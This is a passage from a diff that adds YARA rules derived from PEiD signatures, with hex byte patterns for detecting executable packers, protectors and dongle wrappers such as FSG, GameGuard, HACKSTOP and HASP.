+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_00838_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00839_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00840_FSG_v1_33_
+{
+    meta:
+        description = "[FSG v1.33]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+    condition:
+        $a
+}
+
+rule PEiD_00841_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE}
+    condition:
+        $a
+}
+
+rule PEiD_00842_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE ?? 74 EF FE}
+    condition:
+        $a
+}
+
+rule PEiD_00843_FSG_v2_0____bart_xt_
+{
+    meta:
+        description = "[FSG v2.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+    condition:
+        $a
+}
+
+rule PEiD_00844_FSG_v2_0_
+{
+    meta:
+        description = "[FSG v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+    condition:
+        $a
+}
+
+rule PEiD_00845_Fuck_n_Joy_1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy 1.0c -> UsAr]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00846_Fuck_n_Joy_v1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy v1.0c -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00847_Fusion_1_0____jaNooNi_
+{
+    meta:
+        description = "[Fusion 1.0 -> jaNooNi]"
+        ep_only = "true"
+    strings:
+        $a = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00848_G_X_Protector_1_2____Guru_eXe_
+{
+    meta:
+        description = "[G!X Protector 1.2 -> Guru.eXe]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00849_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00850_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a
+}
+
+rule PEiD_00851_GameGuard_v2006_5_x_x____dll__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.dll)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+    condition:
+        $a
+}
+
+rule PEiD_00852_GameGuard_v2006_5_x_x____exe__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.exe)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+    condition:
+        $a
+}
+
+rule PEiD_00853_Gamehouse_Media_Protector_Version_Unknown_
+{
+    meta:
+        description = "[Gamehouse Media Protector Version Unknown]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00854_Gardian_Angel_1_0_
+{
+    meta:
+        description = "[Gardian Angel 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00855_Gentee_Installer_Custom_
+{
+    meta:
+        description = "[Gentee Installer Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 04 00 00 53 56 57 6A 00 FF 15 08 41 40 00 68 00 50 40 00 FF 15 04 41 40 00 85 C0 74 29 6A 00 A1 00 20 40 00 ?? ?? ?? ?? 41 40 00 8B F0 6A 06 56 FF 15 1C 41 40 00 6A 03 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00856_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a
+}
+
+rule PEiD_00857_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00858_GHF_Protector__pack____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack) / GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6}
+    condition:
+        $a
+}
+
+rule PEiD_00859_Gleam_1_00_
+{
+    meta:
+        description = "[Gleam 1.00]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 E8 24 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00860_Go32Stub_v_2_00_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00 DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80}
+    condition:
+        $a
+}
+
+rule PEiD_00861_Go32Stub_v_2_00T_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00T DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C}
+    condition:
+        $a
+}
+
+rule PEiD_00862_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00863_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 0F DE 0F 55 0F 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00864_Goats_Mutilator_v1_6____Goat__e0f_
+{
+    meta:
+        description = "[Goats Mutilator v1.6 -> Goat/_e0f]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+    condition:
+        $a
+}
+
+rule PEiD_00865_GP_Install_v5_0_3_32_
+{
+    meta:
+        description = "[GP-Install v5.0.3.32]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+    condition:
+        $a
+}
+
+rule PEiD_00866_Guardant_Stealth_aka_Novex_Dongle_
+{
+    meta:
+        description = "[Guardant Stealth aka Novex Dongle]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 60 E8 51 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00867_HACKSTOP_v1_00_
+{
+    meta:
+        description = "[HACKSTOP v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+    condition:
+        $a
+}
+
+rule PEiD_00868_HACKSTOP_v1_10__v1_11_
+{
+    meta:
+        description = "[HACKSTOP v1.10, v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00869_HACKSTOP_v1_10p1_
+{
+    meta:
+        description = "[HACKSTOP v1.10p1]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00870_HACKSTOP_v1_11c_
+{
+    meta:
+        description = "[HACKSTOP v1.11c]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+    condition:
+        $a
+}
+rule PEiD_00871_HACKSTOP_v1_13_
+{
+    meta:
+        description = "[HACKSTOP v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+    condition:
+        $a
+}
+
+rule PEiD_00872_HACKSTOP_v1_18_
+{
+    meta:
+        description = "[HACKSTOP v1.18]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a
+}
+
+rule PEiD_00873_HACKSTOP_v1_19_
+{
+    meta:
+        description = "[HACKSTOP v1.19]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a
+}
+
+rule PEiD_00874_Hardlock_dongle__Alladin__
+{
+    meta:
+        description = "[Hardlock dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+    condition:
+        $a
+}
+rule PEiD_00875_Hasp_4_envelope_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp 4 envelope dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {10 02 D0 51 0F 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_00876_Hasp_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+    condition:
+        $a
+}
+
+rule PEiD_00877_HASP_HL_Protection_1_X____Aladdin_
+{
+    meta:
+        description = "[HASP HL Protection 1.X -> Aladdin]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+rule PEiD_00878_HASP_HL_Protection_V1_X____Aladdin___Sign_by_fly_
+{
+    meta:
+        description = "[HASP HL Protection V1.X -> Aladdin ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+    condition:
+        $a
+}
+
+rule PEiD_00879_HEALTH_v_5_1_by_Muslim_M_Polyak_
+{
+    meta:
+        description = "[HEALTH v.5.1 by Muslim M.Polyak]"
+        ep_only = "true"
+    strings:
+        $a = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+    condition:
+        $a
+}
+rule PEiD_00880_Hide_PE_1_01____BGCorp_
+{
+    meta:
+        description = "[Hide PE 1.01 -> BGCorp]"
+        ep_only = "true"
+    strings:
+        $a = {?? BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+    condition:
+        $a
+}
+
+rule PEiD_00881_Hide_Protect_1_016____SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect 1.016 -> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8 ?? 05 00 95 ?? 53 00 95 4A 50 00}
+    condition:
+        $a
+}
+
+rule PEiD_00882_Hide_Protect_V1_0X___SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect V1.0X-> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8}
+    condition:
+        $a
+}
+rule PEiD_00883_Histogram_graphics_file_
+{
+    meta:
+        description = "[Histogram graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {6D 68 77 61 6E 68 00 04 01 02 01 02}
+    condition:
+        $a
+}
+
+rule PEiD_00884_Hitachi_Raster_Format_graphics_format_
+{
+    meta:
+        description = "[Hitachi Raster Format graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {43 41 44 43 2F 4B 52 20 52 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00885_hmimys_protect_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys protect 0.1 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00886_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00887_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00888_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9}
+    condition:
+        $a
+}
+
+rule PEiD_00889_hmimys_s_PE_Pack_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00}
+    condition:
+        $a
+}
+
+rule PEiD_00890_hmimys_s_PE_Pack_0_1____hmimys_
